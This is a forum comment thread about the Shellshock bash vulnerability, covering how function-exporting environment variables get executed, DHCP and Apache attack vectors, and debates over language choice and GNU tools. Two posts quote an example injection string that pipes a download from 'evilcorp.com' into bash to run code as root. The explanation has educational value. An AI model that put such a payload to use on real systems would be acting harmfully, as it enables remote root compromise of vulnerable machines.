FSF Issues Statement On Shellshock Bash Vulnerability

[OneTimeShot]

So, here goes a more technical question. Would it have helped in this situation to have BASH written on a higher level language, such as go, rust, or some of the 'better' alternatives to C? I have the feeling that a lot of the exploits we've seen in the past have to do with using C, which I understand for Kernel development, but userland tools could probably afford something slightly slower but safer. Anyways, might not be the case for this particular exploit ...

In general higher-level languages would fix a lot of things (heart bleed was a read buffer overrun). In this case: no. It's all down to being sloppy in how input was validated and parsed and used. They just passed an environment variable to the bash scripting engine in a vain hope that it wouldn't execute anything...

It turns out that writing secure code (and auditing it) is very, very hard in any language. Of course, there are always people who think that their code never has bugs, so they just spend their time ripping on Microsoft/Apple/OpenSSL/OpenSSH/NSA/NIST etc.

Here's a secret - there are more security bugs out there, and they will come to the surface. So planning how to patch stuff quickly is important.

[Luke_Wolf]

When using a new *BSD system I and lot of people I talked to the first thing we do is install GNU tools and utils on the systems. GNU are of a much higher quality than the non portable and archaic BSD tools and utlis. GNU utils are a better fit cross platforms and operating systems, I love using the same command line tools across kernels and hardware something you cannot do with BSD.

[johnc]

Yeah this is my feeling on this too. To be honest this is another reason I'm seriously evaluating BSD, I want to get away from the GNU userland because it was written by an ideologue (Richard Stallman) who couldn't care less about code quality as opposed to just serving his own personal ideology which means that crap like this is going to happen all the more often vs alternative software, and you get nonsense like his breaking how su is supposed to work because he wants anyone with root password to have full rights.

heh

http://youtu.be/5PmHRSeA2c8?t=47m20s

[DrYak]

So, here goes a more technical question. Would it have helped in this situation to have BASH written on a higher level language, such as go, rust, or some of the 'better' alternatives to C?

No, because at no point was there something like a buffer overflow.

To give more detail:

Bash support fonctions: you can

myfunc() {
   echo "Hello world"
}

and then any subsequent call to "myfunc" will print "Hello World".

A particularity of Bash is that function can be inherited:
subshells can *also* call myfunc.

For these subprocesses to receive the functions, bashes simply re-use the environment:
any sub-process will receive a variable called "myfunc" and which contains '(){echo "Hello world";}'

Then any bash subprocesses, upon receiving environment variable will check them:
- normal environment variables with random data in the body become shell $variable that can be accessed in the rest of the shell code
- environment variables whose data begins with "(){" is a function and should be made available for execution as variable().
(So, in the exemple above, a sub process will end with a function called "myfunc()" )

NOW COMES THE PROBLEM:
The way bashes does it, is by simply feeding the content of the environment variable into the parser.
In our exemple, it works, because '(){echo "Hello world";}' is syntaxically correct and is a genuine function declaration.

BUT an attacker could put something different in the variable. The test example given elsewhere is: '(){:;};echo "is vulnerable" '
Bashes sees the '(){' begining, and thus feeds the whole string into the interpreter.
It works because '(){:;};' is a valid function declaration (although a completely emtpy one). The problem is that the interpreter *KEEPS* interpreting the rest of the line.
And 'echo "is vulnerable"' is a valid bash instruction that gets immediately executed by the interpreter. Ooops.

At no point did bash have a buffer overrun or anything. It behaved perfectly according to spec. But the spec themselves are broken: bash should have a special 'declaration only' interpreter mode, where only function definition are read and no direct command can be executed.

Now, the *CALLER* could have benefited from some high level language:
some language are able to distinguish between "dirty" and "sanitized" data.

The dhcpclient could be written in a language that tracks that the domain name, for exemple, comes from an external source (the Dhcp ACK) and refuse to stuff it inside a variable before any validation.

I agree. I think it's pretty ridiculous. I also find it hard to believe a problem this "severe" went unnoticed for over 20 years.

Well, the problem is that someone must think about it. The author of bash hasn't noticed it could be abused this way. It takes a special kind of mind to realise that one could abuse the way bash works to make it run arbitrary commands. And apparently none of the bash developer did.

But the problem is severe:
- distribution are routinely setup in a way where a script will handle some post processing after a DHCP address was acquired (exemple: will setup Firewall rules).
- DHCP has tons of field that can be arbitrary strings
- usually the helper script will get the data sent by DHCP as environment strings.
- usually, because they have to perform system setup, these helper scripts are run with root privileges

That means that a hostile DHCP server (like an open Wifi spot) could pwn any incoming laptop simply by setting one of its arbitrary strings to a shellshock attack.
That is *PRETTY* serious !

Another thing to keep in mind is not all linux distros run bash, and I'm sure most embedded devices don't even have bash installed. But this is just a guess.

Indeed, most embed run busybox instead. And busybox is not vulnerable (it doesn't even have functions). Some embed version of bash like the one from optware also aren't vulnerable (the functionality isn't compiled in).

Yeah I have an ISP that doles out an IP address to my router through DHCP. And then my router doles out IP addresses to my devices also through DHCP. So how does my ISP have root into my system?

DHCP can carry a ton of options. You have to be sure that none of them are forwarded to your DHCP client.
Either the router provides proxy for corresponding services and gives you the corresponding options (for exemple: it sets up a different domain name for your home network than the one provided by the ISP)
Or the router does the necessary sanitizing checks before forwarding the information to your laptop.

As demonstrated with the DHCP shellshock attack, it gets much more dangerous if the DHCP server you're getting info from is a 3rd party that could be hostile (Wifi access point).

The way some people are describing it, this wouldn't be just a bash problem but an authentication problem as well. I understand the Apache attack vector, because there is a process running on the machine that runs under that username. But even there I'm not seeing how that elevates to root access w/o some other non-bash weakness.

Yup, Apache isn't that dangerous, because the helper script it could be calling (as in CGI) are all running with the same access rights, and SELinux and AppArmor pretty much restrict the rights to "/tmp" only.

BUT... DHCP's helper scripts, on the other end, run as root (as their puprose is to setup core network functionnality, like firewall rules, etc.) so without SELinux / AppArmor, you could force something like '(){:;};curl "http://evilcorp.com/exploit"|bash" and the content of 'exploit' will be executed as root.

*THAT* is scary.

[johnc]

BUT... DHCP's helper scripts, on the other end, run as root (as their puprose is to setup core network functionnality, like firewall rules, etc.) so without SELinux / AppArmor, you could force something like '(){:;};curl "http://evilcorp.com/exploit"|bash" and the content of 'exploit' will be executed as root.

*THAT* is scary.

Well, technically, Debian-based distros have used dash for scripts for about 8 years now so it doesn't concern me too much. I'm not sure what RedHat is using. Let alone the fact that there is a router between my box and the network anyway.

[Luke_Wolf]

Well, technically, Debian-based distros have used dash for scripts for about 8 years now so it doesn't concern me too much. I'm not sure what RedHat is using. Let alone the fact that there is a router between my box and the network anyway.

It's still a problem if you've got a version of bash installed because shellshock is explicitly invoking bash as opposed to just sh

[prodigy_]

So let me get this straight:

Developers have been feeding bash with external untested unchecked strings, while logged as root, for +20 years.
And it's bash's fault.

Yeah, right.

PS: The only vulnerable systems are those running software that directly feeds strings to bash.

Indeed. I don't see what all the fuss is about to be honest. Anything you receive from the outside world is unsafe by definition and must be sanitized first. Not doing so is asking for trouble.

Let's be honest with ourselves - it wasn't really a vulnerability. It was undocumented and, yes, potentially dangerous behavior, but vulnerability is when something considered safe turns out to be unsafe. Passing unsanitized strings you got, for instance, from your ISP's DHCP server to a shell (or to anything for that matter) has never been safe and never will be. Nothing new and nothing interesting to see here, move along.

P.S. Oh, and those "fancy" marketing names - heartbleed, shellshock - are really just another annoyance. I understand that guys who get fat $$$ for performing security audits are ready to blow any *NIX-related security issue completely out of proportion. Scaremongering is a part of their business. But why should we give in and play by their rules?

[Rallos Zek]

I am serious, I love having the same command line environment and tools/utlis between operating systems.

[johnc]

It's still a problem if you've got a version of bash installed because shellshock is explicitly invoking bash as opposed to just sh

True but the example above -- DHCP scripts, etc. -- are all invoked with /bin/sh which links to dash on Debian systems. So bash is never used in those cases.

[mendieta]

In general higher-level languages would fix a lot of things (heart bleed was a read buffer overrun). In this case: no. It's all down to being sloppy in how input was validated and parsed and used. They just passed an environment variable to the bash scripting engine in a vain hope that it wouldn't execute anything...

Thank you, and thanks to DrYak as well. I did take a quick look at the RedHat blog before posting and it sounded like bad parsing. And I totally agree that you can be sloppy in any language. But Python, for instance, has fanstatic parsing libraries, so people tend to code better (given better tools). Anyways, you both are right, thanks for taking the time!